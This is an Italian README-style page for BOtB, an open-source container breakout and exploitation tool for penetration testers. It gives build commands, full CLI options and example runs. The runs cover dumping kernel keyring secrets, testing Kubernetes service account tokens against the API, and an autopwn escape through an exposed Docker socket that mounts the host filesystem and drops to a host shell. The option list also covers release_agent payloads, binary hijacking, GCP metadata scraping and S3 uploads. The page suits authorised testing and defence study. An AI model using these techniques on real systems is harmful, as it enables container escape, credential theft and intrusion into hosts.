brompwnie/botbUno strumento di analisi e sfruttamento dei container per pentester e ingegneri.
BOtB è uno strumento di analisi e sfruttamento dei container progettato per essere utilizzato da penetration tester e ingegneri, ed è anche compatibile con le comuni tecnologie CI/CD.
BOtB è uno strumento CLI che permette di:
Per le istruzioni di installazione dai binari, visita la pagina delle release.
go get github.com/brompwnie/botb
Compilazione di BOtB tramite Go:
go build
Compilazione di BOtB tramite Make:
make
BOtB può essere compilato in un binario per la piattaforma target e supporta il seguente utilizzo
./botb-linux-amd64 -h
-aggr string
Attempt to exploit RuncPWN (default "nil")
-always-succeed
Always set BOtB's Exit code to Zero
-autopwn
Attempt to autopwn exposed sockets
-cicd
Attempt to autopwn but don't drop to TTY,return exit code 1 if successful else 0
-config string
Load config from provided yaml file (default "nil")
-endpoints string
Provide a textfile with endpoints to use for test (default "nil")
-find-docker
Attempt to find Dockerd
-find-http
Hunt for Available UNIX Domain Sockets with HTTP
-find-sockets
Hunt for Available UNIX Domain Sockets
-hijack string
Attempt to hijack binaries on host (default "nil")
-k8secrets
Identify and Verify K8's Secrets
-keyMax int
Maximum key id range (default 100000000) and max system value is 999999999 (default 100000000)
-keyMin int
Minimum key id range (default 1) (default 1)
-metadata
Attempt to find metadata services
-path string
Path to Start Scanning for UNIX Domain Sockets (default "/")
-pwn-privileged string
Provide a command payload to try exploit --privilege CGROUP release_agent's (default "nil")
-pwnKeyctl
Abuse keyctl syscalls and extract data from Linux Kernel keyrings
-recon
Perform Recon of the Container ENV
-region string
Provide a AWS Region e.g eu-west-2 (default "nil")
-rev-dns string
Perform reverse DNS lookups on a subnet. Parameter must be in CIDR notation, e.g., -rev-dns 192.168.0.0/24 (default "nil")
-s3bucket string
Provide a bucket name for S3 Push (default "nil")
-s3push string
Push a file to S3 e.g Full command to push to https://YOURBUCKET.s3.eu-west-2.amazonaws.com/FILENAME would be: -region eu-west-2 -s3bucket YOURBUCKET -s3push FILENAME (default "nil")
-scrape-gcp
Attempt to scrape the GCP metadata service
-verbose
Verbose output
-wordlist string
Provide a wordlist (default "nil")
BOtB può anche essere istruito per caricare le impostazioni da un file YAML tramite il parametro config
#./botb-linux-amd64 -config=cfg.yml
[+] Break Out The Box
[+] Loading Config: cfg.yml
...
I seguenti esempi di utilizzo restituiranno un codice di uscita > 0 per impostazione predefinita quando viene rilevata un'anomalia; ciò è rappresentato da "echo $?" che mostra il codice di uscita dell'ultimo comando eseguito.
Maggiori informazioni dall'autore originale qui https://www.antitree.com/2020/07/keyctl-unmask-going-florida-on-the-state-of-containerizing-linux-keyrings/
#./botb-linux-amd64 -pwnKeyctl=true -keyMin=0 -keyMax=100000000
[+] Break Out The Box
[*] Attempting to Identify and Extract Keyring Values
[!] WARNING, this can be resource intensive and your pod/container process may be killed, iterate over min and max with 100000000 increments to be safe
[!] Subkey description for key [251133632]: user;0;0;3f010000;brompwnie_secret
[!] Output {
"KeyId": 13738777,
"Valid": true,
"Name": "_ses.e326b8816c24d0ddda6c2c82ecf62ea2302a7239fce2fd104775d154a97fa3d6",
"Type": "keyring",
"Uid": "0",
"Gid": "0",
"Perms": "3f1b0000",
"String_Content": "\ufffd\ufffd\ufffd\u000e",
"Byte_Content": "wP73Dg==",
"Comments": null,
"Subkeys": [
{
"KeyId": 251133632,
"Valid": true,
"Name": "brompwnie_secret",
"Type": "user",
"Uid": "0",
"Gid": "0",
"Perms": "3f010000",
"String_Content": "thetruthisialsoreallyliketrees",
"Byte_Content": "dGhldHJ1dGhpc2lhbHNvcmVhbGx5bGlrZXRyZWVz",
"Comments": null,
"Subkeys": null,
"Output": ""
}
],
"Output": ""
}
[+] Finished
#./botb-linux-amd64 -k8secrets=true
[+] Break Out The Box
[*] Identifying and Verifying K8's Secrets
[!] Token found at: /var/run/secrets/kubernetes.io/serviceaccount/token
[!] Token found at: /run/secrets/kubernetes.io/serviceaccount/token
[*] Trying: https://kubernetes.default/api/v1
[!] Valid response with token (xxxxxxxxxx...)on -> https://kubernetes.default/api/v1
[*] Trying: https://kubernetes.default/api/v1/namespaces
[*] Trying: https://kubernetes.default/api/v1/namespaces/default/secrets
[*] Trying: https://kubernetes.default/api/v1/namespaces/default/pods
[*] Trying: https://kubernetes.default/api/v1
[!] Valid response with token (xxxxxxxxxx...)on -> https://kubernetes.default/api/v1
[*] Trying: https://kubernetes.default/api/v1/namespaces
[*] Trying: https://kubernetes.default/api/v1/namespaces/default/secrets
[*] Trying: https://kubernetes.default/api/v1/namespaces/default/pods
[+] Finished
Questo approccio permette di evadere in una TTY interattiva sull'host.
#./bob_linux_amd64 -autopwn=true
[+] Break Out The Box
[+] Attempting to autopwn
[+] Hunting Docker Socks
[+] Attempting to autopwn: /var/meh
[+] Attempting to escape to host...
[+] Attempting in TTY Mode
./docker/docker -H unix:///var/meh run -t -i -v /:/host alpine:latest /bin/sh
chroot /host && clear
echo 'You are now on the underlying host'
You are now on the underlying host
/ #